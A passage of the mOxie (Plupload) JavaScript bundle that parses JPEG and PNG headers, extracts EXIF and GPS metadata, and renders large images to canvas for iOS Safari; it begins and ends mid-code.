				values[i] = this[type](idx + i);
			}
			return values;
		}
	});


	function ArrayBufferReader(data) {
		var _dv = new DataView(data);

		Basic.extend(this, {
			
			readByteAt: function(idx) {
				return _dv.getUint8(idx);
			},


			writeByteAt: function(idx, value) {
				_dv.setUint8(idx, value);
			},
			

			SEGMENT: function(idx, size, value) {
				switch (arguments.length) {
					case 2:
						return data.slice(idx, idx + size);

					case 1:
						return data.slice(idx);

					case 3:
						if (value === null) {
							value = new ArrayBuffer();
						}

						if (value instanceof ArrayBuffer) {					
							var arr = new Uint8Array(this.length() - size + value.byteLength);
							if (idx > 0) {
								arr.set(new Uint8Array(data.slice(0, idx)), 0);
							}
							arr.set(new Uint8Array(value), idx);
							arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength);

							this.clear();
							data = arr.buffer;
							_dv = new DataView(data);
							break;
						}

					default: return data;
				}
			},


			length: function() {
				return data ? data.byteLength : 0;
			},


			clear: function() {
				_dv = data = null;
			}
		});
	}


	function UTF16StringReader(data) {
		Basic.extend(this, {
			
			readByteAt: function(idx) {
				return data.charCodeAt(idx);
			},


			writeByteAt: function(idx, value) {
				putstr(String.fromCharCode(value), idx, 1);
			},


			SEGMENT: function(idx, length, segment) {
				switch (arguments.length) {
					case 1:
						return data.substr(idx);
					case 2:
						return data.substr(idx, length);
					case 3:
						putstr(segment !== null ? segment : '', idx, length);
						break;
					default: return data;
				}
			},


			length: function() {
				return data ? data.length : 0;
			}, 

			clear: function() {
				data = null;
			}
		});


		function putstr(segment, idx, length) {
			length = arguments.length === 3 ? length : data.length - idx - 1;
			data = data.substr(0, idx) + segment + data.substr(length + idx);
		}
	}


	return BinaryReader;
});

// Included from: src/javascript/runtime/html5/image/JPEGHeaders.js

/**
 * JPEGHeaders.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */
 
/**
@class moxie/runtime/html5/image/JPEGHeaders
@private
*/
define("moxie/runtime/html5/image/JPEGHeaders", [
	"moxie/runtime/html5/utils/BinaryReader",
	"moxie/core/Exceptions"
], function(BinaryReader, x) {
	
	return function JPEGHeaders(data) {
		var headers = [], _br, idx, marker, length = 0;

		_br = new BinaryReader(data);

		// Check if data is jpeg
		if (_br.SHORT(0) !== 0xFFD8) {
			_br.clear();
			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
		}

		idx = 2;

		while (idx <= _br.length()) {
			marker = _br.SHORT(idx);

			// omit RST (restart) markers
			if (marker >= 0xFFD0 && marker <= 0xFFD7) {
				idx += 2;
				continue;
			}

			// no headers allowed after SOS marker
			if (marker === 0xFFDA || marker === 0xFFD9) {
				break;
			}

			length = _br.SHORT(idx + 2) + 2;

			// APPn marker detected
			if (marker >= 0xFFE1 && marker <= 0xFFEF) {
				headers.push({
					hex: marker,
					name: 'APP' + (marker & 0x000F),
					start: idx,
					length: length,
					segment: _br.SEGMENT(idx, length)
				});
			}

			idx += length;
		}

		_br.clear();

		return {
			headers: headers,

			restore: function(data) {
				var max, i, br;

				br = new BinaryReader(data);

				idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2;

				for (i = 0, max = headers.length; i < max; i++) {
					br.SEGMENT(idx, 0, headers[i].segment);
					idx += headers[i].length;
				}

				data = br.SEGMENT();
				br.clear();
				return data;
			},

			strip: function(data) {
				var br, headers, jpegHeaders, i;

				jpegHeaders = new JPEGHeaders(data);
				headers = jpegHeaders.headers;
				jpegHeaders.purge();

				br = new BinaryReader(data);

				i = headers.length;
				while (i--) {
					br.SEGMENT(headers[i].start, headers[i].length, '');
				}
				
				data = br.SEGMENT();
				br.clear();
				return data;
			},

			get: function(name) {
				var array = [];

				for (var i = 0, max = headers.length; i < max; i++) {
					if (headers[i].name === name.toUpperCase()) {
						array.push(headers[i].segment);
					}
				}
				return array;
			},

			set: function(name, segment) {
				var array = [], i, ii, max;

				if (typeof(segment) === 'string') {
					array.push(segment);
				} else {
					array = segment;
				}

				for (i = ii = 0, max = headers.length; i < max; i++) {
					if (headers[i].name === name.toUpperCase()) {
						headers[i].segment = array[ii];
						headers[i].length = array[ii].length;
						ii++;
					}
					if (ii >= array.length) {
						break;
					}
				}
			},

			purge: function() {
				this.headers = headers = [];
			}
		};
	};
});

// Included from: src/javascript/runtime/html5/image/ExifParser.js

/**
 * ExifParser.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/ExifParser
@private
*/
define("moxie/runtime/html5/image/ExifParser", [
	"moxie/core/utils/Basic",
	"moxie/runtime/html5/utils/BinaryReader",
	"moxie/core/Exceptions"
], function(Basic, BinaryReader, x) {
	
	function ExifParser(data) {
		var __super__, tags, tagDescs, offsets, idx, Tiff;
		
		BinaryReader.call(this, data);

		tags = {
			tiff: {
				/*
				The image orientation viewed in terms of rows and columns.

				1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
				2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
				3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
				4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
				5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
				6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
				7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
				8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
				*/
				0x0112: 'Orientation',
				0x010E: 'ImageDescription',
				0x010F: 'Make',
				0x0110: 'Model',
				0x0131: 'Software',
				0x8769: 'ExifIFDPointer',
				0x8825:	'GPSInfoIFDPointer'
			},
			exif: {
				0x9000: 'ExifVersion',
				0xA001: 'ColorSpace',
				0xA002: 'PixelXDimension',
				0xA003: 'PixelYDimension',
				0x9003: 'DateTimeOriginal',
				0x829A: 'ExposureTime',
				0x829D: 'FNumber',
				0x8827: 'ISOSpeedRatings',
				0x9201: 'ShutterSpeedValue',
				0x9202: 'ApertureValue'	,
				0x9207: 'MeteringMode',
				0x9208: 'LightSource',
				0x9209: 'Flash',
				0x920A: 'FocalLength',
				0xA402: 'ExposureMode',
				0xA403: 'WhiteBalance',
				0xA406: 'SceneCaptureType',
				0xA404: 'DigitalZoomRatio',
				0xA408: 'Contrast',
				0xA409: 'Saturation',
				0xA40A: 'Sharpness'
			},
			gps: {
				0x0000: 'GPSVersionID',
				0x0001: 'GPSLatitudeRef',
				0x0002: 'GPSLatitude',
				0x0003: 'GPSLongitudeRef',
				0x0004: 'GPSLongitude'
			},

			thumb: {
				0x0201: 'JPEGInterchangeFormat',
				0x0202: 'JPEGInterchangeFormatLength'
			}
		};

		tagDescs = {
			'ColorSpace': {
				1: 'sRGB',
				0: 'Uncalibrated'
			},

			'MeteringMode': {
				0: 'Unknown',
				1: 'Average',
				2: 'CenterWeightedAverage',
				3: 'Spot',
				4: 'MultiSpot',
				5: 'Pattern',
				6: 'Partial',
				255: 'Other'
			},

			'LightSource': {
				1: 'Daylight',
				2: 'Fliorescent',
				3: 'Tungsten',
				4: 'Flash',
				9: 'Fine weather',
				10: 'Cloudy weather',
				11: 'Shade',
				12: 'Daylight fluorescent (D 5700 - 7100K)',
				13: 'Day white fluorescent (N 4600 -5400K)',
				14: 'Cool white fluorescent (W 3900 - 4500K)',
				15: 'White fluorescent (WW 3200 - 3700K)',
				17: 'Standard light A',
				18: 'Standard light B',
				19: 'Standard light C',
				20: 'D55',
				21: 'D65',
				22: 'D75',
				23: 'D50',
				24: 'ISO studio tungsten',
				255: 'Other'
			},

			'Flash': {
				0x0000: 'Flash did not fire',
				0x0001: 'Flash fired',
				0x0005: 'Strobe return light not detected',
				0x0007: 'Strobe return light detected',
				0x0009: 'Flash fired, compulsory flash mode',
				0x000D: 'Flash fired, compulsory flash mode, return light not detected',
				0x000F: 'Flash fired, compulsory flash mode, return light detected',
				0x0010: 'Flash did not fire, compulsory flash mode',
				0x0018: 'Flash did not fire, auto mode',
				0x0019: 'Flash fired, auto mode',
				0x001D: 'Flash fired, auto mode, return light not detected',
				0x001F: 'Flash fired, auto mode, return light detected',
				0x0020: 'No flash function',
				0x0041: 'Flash fired, red-eye reduction mode',
				0x0045: 'Flash fired, red-eye reduction mode, return light not detected',
				0x0047: 'Flash fired, red-eye reduction mode, return light detected',
				0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode',
				0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected',
				0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected',
				0x0059: 'Flash fired, auto mode, red-eye reduction mode',
				0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode',
				0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode'
			},

			'ExposureMode': {
				0: 'Auto exposure',
				1: 'Manual exposure',
				2: 'Auto bracket'
			},

			'WhiteBalance': {
				0: 'Auto white balance',
				1: 'Manual white balance'
			},

			'SceneCaptureType': {
				0: 'Standard',
				1: 'Landscape',
				2: 'Portrait',
				3: 'Night scene'
			},

			'Contrast': {
				0: 'Normal',
				1: 'Soft',
				2: 'Hard'
			},

			'Saturation': {
				0: 'Normal',
				1: 'Low saturation',
				2: 'High saturation'
			},

			'Sharpness': {
				0: 'Normal',
				1: 'Soft',
				2: 'Hard'
			},

			// GPS related
			'GPSLatitudeRef': {
				N: 'North latitude',
				S: 'South latitude'
			},

			'GPSLongitudeRef': {
				E: 'East longitude',
				W: 'West longitude'
			}
		};

		offsets = {
			tiffHeader: 10
		};
		
		idx = offsets.tiffHeader;

		__super__ = {
			clear: this.clear
		};

		// Public functions
		Basic.extend(this, {
			
			read: function() {
				try {
					return ExifParser.prototype.read.apply(this, arguments);
				} catch (ex) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				}
			},


			write: function() {
				try {
					return ExifParser.prototype.write.apply(this, arguments);
				} catch (ex) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				}
			},


			UNDEFINED: function() {
				return this.BYTE.apply(this, arguments);
			},


			RATIONAL: function(idx) {
				return this.LONG(idx) / this.LONG(idx + 4)
			},


			SRATIONAL: function(idx) {
				return this.SLONG(idx) / this.SLONG(idx + 4)
			},

			ASCII: function(idx) {
				return this.CHAR(idx);
			},

			TIFF: function() {
				return Tiff || null;
			},


			EXIF: function() {
				var Exif = null;

				if (offsets.exifIFD) {
					try {
						Exif = extractTags.call(this, offsets.exifIFD, tags.exif);
					} catch(ex) {
						return null;
					}

					// Fix formatting of some tags
					if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') {
						for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) {
							exifVersion += String.fromCharCode(Exif.ExifVersion[i]);
						}
						Exif.ExifVersion = exifVersion;
					}
				}

				return Exif;
			},


			GPS: function() {
				var GPS = null;

				if (offsets.gpsIFD) {
					try {
						GPS = extractTags.call(this, offsets.gpsIFD, tags.gps);
					} catch (ex) {
						return null;
					}

					// iOS devices (and probably some others) do not put in GPSVersionID tag (why?..)
					if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') {
						GPS.GPSVersionID = GPS.GPSVersionID.join('.');
					}
				}

				return GPS;
			},


			thumb: function() {
				if (offsets.IFD1) {
					try {
						var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb);
						
						if ('JPEGInterchangeFormat' in IFD1Tags) {
							return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength);
						}
					} catch (ex) {}
				}
				return null;
			},


			setExif: function(tag, value) {
				// Right now only setting of width/height is possible
				if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; }

				return setTag.call(this, 'exif', tag, value);
			},


			clear: function() {
				__super__.clear();
				data = tags = tagDescs = Tiff = offsets = __super__ = null;
			}
		});


		// Check if that's APP1 and that it has EXIF
		if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") {
			throw new x.ImageError(x.ImageError.INVALID_META_ERR);
		}

		// Set read order of multi-byte data
		this.littleEndian = (this.SHORT(idx) == 0x4949);

		// Check if always present bytes are indeed present
		if (this.SHORT(idx+=2) !== 0x002A) {
			throw new x.ImageError(x.ImageError.INVALID_META_ERR);
		}

		offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2);
		Tiff = extractTags.call(this, offsets.IFD0, tags.tiff);

		if ('ExifIFDPointer' in Tiff) {
			offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer;
			delete Tiff.ExifIFDPointer;
		}

		if ('GPSInfoIFDPointer' in Tiff) {
			offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer;
			delete Tiff.GPSInfoIFDPointer;
		}

		if (Basic.isEmptyObj(Tiff)) {
			Tiff = null;
		}

		// check if we have a thumb as well
		var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2);
		if (IFD1Offset) {
			offsets.IFD1 = offsets.tiffHeader + IFD1Offset;
		}


		function extractTags(IFD_offset, tags2extract) {
			var data = this;
			var length, i, tag, type, count, size, offset, value, values = [], hash = {};
			
			var types = {
				1 : 'BYTE',
				7 : 'UNDEFINED',
				2 : 'ASCII',
				3 : 'SHORT',
				4 : 'LONG',
				5 : 'RATIONAL',
				9 : 'SLONG',
				10: 'SRATIONAL'
			};

			var sizes = {
				'BYTE' 		: 1,
				'UNDEFINED'	: 1,
				'ASCII'		: 1,
				'SHORT'		: 2,
				'LONG' 		: 4,
				'RATIONAL' 	: 8,
				'SLONG'		: 4,
				'SRATIONAL'	: 8
			};

			length = data.SHORT(IFD_offset);

			// The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard.

			for (i = 0; i < length; i++) {
				values = [];

				// Set binary reader pointer to beginning of the next tag
				offset = IFD_offset + 2 + i*12;

				tag = tags2extract[data.SHORT(offset)];

				if (tag === undefined) {
					continue; // Not the tag we requested
				}

				type = types[data.SHORT(offset+=2)];
				count = data.LONG(offset+=2);
				size = sizes[type];

				if (!size) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				}

				offset += 4;

				// tag can only fit 4 bytes of data, if data is larger we should look outside
				if (size * count > 4) {
					// instead of data tag contains an offset of the data
					offset = data.LONG(offset) + offsets.tiffHeader;
				}

				// in case we left the boundaries of data throw an early exception
				if (offset + size * count >= this.length()) {
					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
				} 

				// special care for the string
				if (type === 'ASCII') {
					hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL
					continue;
				} else {
					values = data.asArray(type, offset, count);
					value = (count == 1 ? values[0] : values);

					if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') {
						hash[tag] = tagDescs[tag][value];
					} else {
						hash[tag] = value;
					}
				}
			}

			return hash;
		}

		// At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported
		function setTag(ifd, tag, value) {
			var offset, length, tagOffset, valueOffset = 0;

			// If tag name passed translate into hex key
			if (typeof(tag) === 'string') {
				var tmpTags = tags[ifd.toLowerCase()];
				for (var hex in tmpTags) {
					if (tmpTags[hex] === tag) {
						tag = hex;
						break;
					}
				}
			}
			offset = offsets[ifd.toLowerCase() + 'IFD'];
			length = this.SHORT(offset);

			for (var i = 0; i < length; i++) {
				tagOffset = offset + 12 * i + 2;

				if (this.SHORT(tagOffset) == tag) {
					valueOffset = tagOffset + 8;
					break;
				}
			}

			if (!valueOffset) {
				return false;
			}

			try {
				this.write(valueOffset, value, 4);
			} catch(ex) {
				return false;
			}

			return true;
		}
	}

	ExifParser.prototype = BinaryReader.prototype;

	return ExifParser;
});

// Included from: src/javascript/runtime/html5/image/JPEG.js

/**
 * JPEG.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/JPEG
@private
*/
define("moxie/runtime/html5/image/JPEG", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/html5/image/JPEGHeaders",
	"moxie/runtime/html5/utils/BinaryReader",
	"moxie/runtime/html5/image/ExifParser"
], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) {
	
	function JPEG(data) {
		var _br, _hm, _ep, _info;

		_br = new BinaryReader(data);

		// check if it is jpeg
		if (_br.SHORT(0) !== 0xFFD8) {
			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
		}

		// backup headers
		_hm = new JPEGHeaders(data);

		// extract exif info
		try {
			_ep = new ExifParser(_hm.get('app1')[0]);
		} catch(ex) {}

		// get dimensions
		_info = _getDimensions.call(this);

		Basic.extend(this, {
			type: 'image/jpeg',

			size: _br.length(),

			width: _info && _info.width || 0,

			height: _info && _info.height || 0,

			setExif: function(tag, value) {
				if (!_ep) {
					return false; // or throw an exception
				}

				if (Basic.typeOf(tag) === 'object') {
					Basic.each(tag, function(value, tag) {
						_ep.setExif(tag, value);
					});
				} else {
					_ep.setExif(tag, value);
				}

				// update internal headers
				_hm.set('app1', _ep.SEGMENT());
			},

			writeHeaders: function() {
				if (!arguments.length) {
					// if no arguments passed, update headers internally
					return _hm.restore(data);
				}
				return _hm.restore(arguments[0]);
			},

			stripHeaders: function(data) {
				return _hm.strip(data);
			},

			purge: function() {
				_purge.call(this);
			}
		});

		if (_ep) {
			this.meta = {
				tiff: _ep.TIFF(),
				exif: _ep.EXIF(),
				gps: _ep.GPS(),
				thumb: _getThumb()
			};
		}


		function _getDimensions(br) {
			var idx = 0
			, marker
			, length
			;

			if (!br) {
				br = _br;
			}

			// examine all through the end, since some images might have very large APP segments
			while (idx <= br.length()) {
				marker = br.SHORT(idx += 2);

				if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn
					idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte)
					return {
						height: br.SHORT(idx),
						width: br.SHORT(idx += 2)
					};
				}
				length = br.SHORT(idx += 2);
				idx += length - 2;
			}
			return null;
		}


		function _getThumb() {
			var data =  _ep.thumb()
			, br
			, info
			;

			if (data) {
				br = new BinaryReader(data);
				info = _getDimensions(br);
				br.clear();

				if (info) {
					info.data = data;
					return info;
				}
			}
			return null;
		}


		function _purge() {
			if (!_ep || !_hm || !_br) { 
				return; // ignore any repeating purge requests
			}
			_ep.clear();
			_hm.purge();
			_br.clear();
			_info = _hm = _ep = _br = null;
		}
	}

	return JPEG;
});

// Included from: src/javascript/runtime/html5/image/PNG.js

/**
 * PNG.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/PNG
@private
*/
define("moxie/runtime/html5/image/PNG", [
	"moxie/core/Exceptions",
	"moxie/core/utils/Basic",
	"moxie/runtime/html5/utils/BinaryReader"
], function(x, Basic, BinaryReader) {
	
	function PNG(data) {
		var _br, _hm, _ep, _info;

		_br = new BinaryReader(data);

		// check if it's png
		(function() {
			var idx = 0, i = 0
			, signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A]
			;

			for (i = 0; i < signature.length; i++, idx += 2) {
				if (signature[i] != _br.SHORT(idx)) {
					throw new x.ImageError(x.ImageError.WRONG_FORMAT);
				}
			}
		}());

		function _getDimensions() {
			var chunk, idx;

			chunk = _getChunkAt.call(this, 8);

			if (chunk.type == 'IHDR') {
				idx = chunk.start;
				return {
					width: _br.LONG(idx),
					height: _br.LONG(idx += 4)
				};
			}
			return null;
		}

		function _purge() {
			if (!_br) {
				return; // ignore any repeating purge requests
			}
			_br.clear();
			data = _info = _hm = _ep = _br = null;
		}

		_info = _getDimensions.call(this);

		Basic.extend(this, {
			type: 'image/png',

			size: _br.length(),

			width: _info.width,

			height: _info.height,

			purge: function() {
				_purge.call(this);
			}
		});

		// for PNG we can safely trigger purge automatically, as we do not keep any data for later
		_purge.call(this);

		function _getChunkAt(idx) {
			var length, type, start, CRC;

			length = _br.LONG(idx);
			type = _br.STRING(idx += 4, 4);
			start = idx += 4;
			CRC = _br.LONG(idx + length);

			return {
				length: length,
				type: type,
				start: start,
				CRC: CRC
			};
		}
	}

	return PNG;
});

// Included from: src/javascript/runtime/html5/image/ImageInfo.js

/**
 * ImageInfo.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/ImageInfo
@private
*/
define("moxie/runtime/html5/image/ImageInfo", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/html5/image/JPEG",
	"moxie/runtime/html5/image/PNG"
], function(Basic, x, JPEG, PNG) {
	/**
	Optional image investigation tool for HTML5 runtime. Provides the following features:
	- ability to distinguish image type (JPEG or PNG) by signature
	- ability to extract image width/height directly from it's internals, without preloading in memory (fast)
	- ability to extract APP headers from JPEGs (Exif, GPS, etc)
	- ability to replace width/height tags in extracted JPEG headers
	- ability to restore APP headers, that were for example stripped during image manipulation

	@class ImageInfo
	@constructor
	@param {String} data Image source as binary string
	*/
	return function(data) {
		var _cs = [JPEG, PNG], _img;

		// figure out the format, throw: ImageError.WRONG_FORMAT if not supported
		_img = (function() {
			for (var i = 0; i < _cs.length; i++) {
				try {
					return new _cs[i](data);
				} catch (ex) {
					// console.info(ex);
				}
			}
			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
		}());

		Basic.extend(this, {
			/**
			Image Mime Type extracted from it's depths

			@property type
			@type {String}
			@default ''
			*/
			type: '',

			/**
			Image size in bytes

			@property size
			@type {Number}
			@default 0
			*/
			size: 0,

			/**
			Image width extracted from image source

			@property width
			@type {Number}
			@default 0
			*/
			width: 0,

			/**
			Image height extracted from image source

			@property height
			@type {Number}
			@default 0
			*/
			height: 0,

			/**
			Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs.

			@method setExif
			@param {String} tag Tag to set
			@param {Mixed} value Value to assign to the tag
			*/
			setExif: function() {},

			/**
			Restores headers to the source.

			@method writeHeaders
			@param {String} data Image source as binary string
			@return {String} Updated binary string
			*/
			writeHeaders: function(data) {
				return data;
			},

			/**
			Strip all headers from the source.

			@method stripHeaders
			@param {String} data Image source as binary string
			@return {String} Updated binary string
			*/
			stripHeaders: function(data) {
				return data;
			},

			/**
			Dispose resources.

			@method purge
			*/
			purge: function() {
				data = null;
			}
		});

		Basic.extend(this, _img);

		this.purge = function() {
			_img.purge();
			_img = null;
		};
	};
});

// Included from: src/javascript/runtime/html5/image/MegaPixel.js

/**
(The MIT License)

Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>;

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

/**
 * Mega pixel image rendering library for iOS6 Safari
 *
 * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel),
 * which causes unexpected subsampling when drawing it in canvas.
 * By using this library, you can safely render the image with proper stretching.
 *
 * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>
 * Released under the MIT license
 */

/**
@class moxie/runtime/html5/image/MegaPixel
@private
*/
define("moxie/runtime/html5/image/MegaPixel", [], function() {

	/**
	 * Rendering image element (with resizing) into the canvas element
	 */
	function renderImageToCanvas(img, canvas, options) {
		var iw = img.naturalWidth, ih = img.naturalHeight;
		var width = options.width, height = options.height;
		var x = options.x || 0, y = options.y || 0;
		var ctx = canvas.getContext('2d');
		if (detectSubsampling(img)) {
			iw /= 2;
			ih /= 2;
		}
		var d = 1024; // size of tiling canvas
		var tmpCanvas = document.createElement('canvas');
		tmpCanvas.width = tmpCanvas.height = d;
		var tmpCtx = tmpCanvas.getContext('2d');
		var vertSquashRatio = detectVerticalSquash(img, iw, ih);
		var sy = 0;
		while (sy < ih) {
			var sh = sy + d > ih ? ih - sy : d;
			var sx = 0;
			while (sx < iw) {
				var sw = sx + d > iw ? iw - sx : d;
				tmpCtx.clearRect(0, 0, d, d);
				tmpCtx.drawImage(img, -sx, -sy);
				var dx = (sx * width / iw + x) << 0;
				var dw = Math.ceil(sw * width / iw);
				var dy = (sy * height / ih / vertSquashRatio + y) << 0;
				var dh = Math.ceil(sh * height / ih / vertSquashRatio);
				ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh);
				sx += d;
			}
			sy += d;
		}
		tmpCanvas = tmpCtx = null;
	}

	/**
	 * Detect subsampling in loaded image.
	 * In iOS, larger images than 2M pixels may be subsampled in rendering.
	 */
	function detectSubsampling(img) {
		var iw = img.naturalWidth, ih = img.naturalHeight;
		if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image
			var canvas = document.createElement('canvas');
			canvas.width = canvas.height = 1;
			var ctx = canvas.getContext('2d');
			ctx.drawImage(img, -iw + 1, 0);
			// subsampled image becomes half smaller in rendering size.
			// check alpha channel value to confirm image is covering edge pixel or not.
			// if alpha value is 0 image is not covering, hence subsampled.
			return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
		} else {
			return false;
		}
	}


	/**
	 * Detecting vertical squash in loaded image.
	 * Fixes a bug which squash image vertically while drawing into canvas for some images.
	 */
	function detectVerticalSquash(img, iw, ih) {
		var canvas = document.createElement('canvas');
		canvas.width = 1;
		canvas.height = ih;
		var ctx = canvas.getContext('2d');
		ctx.drawImage(img, 0, 0);
		var data = ctx.getImageData(0, 0, 1, ih).data;
		// search image edge pixel position in case it is squashed vertically.
		var sy = 0;
		var ey = ih;
		var py = ih;
		while (py > sy) {
			var alpha = data[(py - 1) * 4 + 3];
			if (alpha === 0) {
				ey = py;
			} else {
			sy = py;
			}
			py = (ey + sy) >> 1;
		}
		canvas = null;
		var ratio = (py / ih);
		return (ratio === 0) ? 1 : ratio;
	}

	return {
		isSubsampled: detectSubsampling,
		renderTo: renderImageToCanvas
	};
});

// Included from: src/javascript/runtime/html5/image/Image.js

/**
 * Image.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/Image
@private
*/
define("moxie/runtime/html5/image/Image", [
	"moxie/runtime/html5/Runtime",
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/core/utils/Encode",
	"moxie/file/Blob",
	"moxie/file/File",
	"moxie/runtime/html5/image/ImageInfo",
	"moxie/runtime/html5/image/MegaPixel",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Env"
], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) {
	
	function HTML5Image() {
		var me = this
		, _img, _imgInfo, _canvas, _binStr, _blob
		, _modified = false // is set true whenever image is modified
		, _preserveHeaders = true
		;

		Basic.extend(this, {
			loadFromBlob: function(blob) {
				var comp = this, I = comp.getRuntime()
				, asBinary = arguments.length > 1 ? arguments[1] : true
				;

				if (!I.can('access_binary')) {
					throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
				}

				_blob = blob;

				if (blob.isDetached()) {
					_binStr = blob.getSource();
					_preload.call(this, _binStr);
					return;
				} else {
					_readAsDataUrl.call(this, blob.getSource(), function(dataUrl) {
						if (asBinary) {
							_binStr = _toBinary(dataUrl);
						}
						_preload.call(comp, dataUrl);
					});
				}
			},

			loadFromImage: function(img, exact) {
				this.meta = img.meta;

				_blob = new File(null, {
					name: img.name,
					size: img.size,
					type: img.type
				});

				_preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL());
			},

			getInfo: function() {
				var I = this.getRuntime(), info;

				if (!_imgInfo && _binStr && I.can('access_image_binary')) {
					_imgInfo = new ImageInfo(_binStr);
				}

				info = {
					width: _getImg().width || 0,
					height: _getImg().height || 0,
					type: _blob.type || Mime.getFileMime(_blob.name),
					size: _binStr && _binStr.length || _blob.size || 0,
					name: _blob.name || '',
					meta: _imgInfo && _imgInfo.meta || this.meta || {}
				};

				// store thumbnail data as blob
				if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) {
					info.meta.thumb.data = new Blob(null, {
						type: 'image/jpeg',
						data: info.meta.thumb.data
					});
				}

				return info;
			},

			downsize: function() {
				_downsize.apply(this, arguments);
			},

			getAsCanvas: function() {
				if (_canvas) {
					_canvas.id = this.uid + '_canvas';
				}
				return _canvas;
			},

			getAsBlob: function(type, quality) {
				if (type !== this.type) {
					// if different mime type requested prepare image for conversion
					_downsize.call(this, this.width, this.height, false);
				}
				return new File(null, {
					name: _blob.name || '',
					type: type,
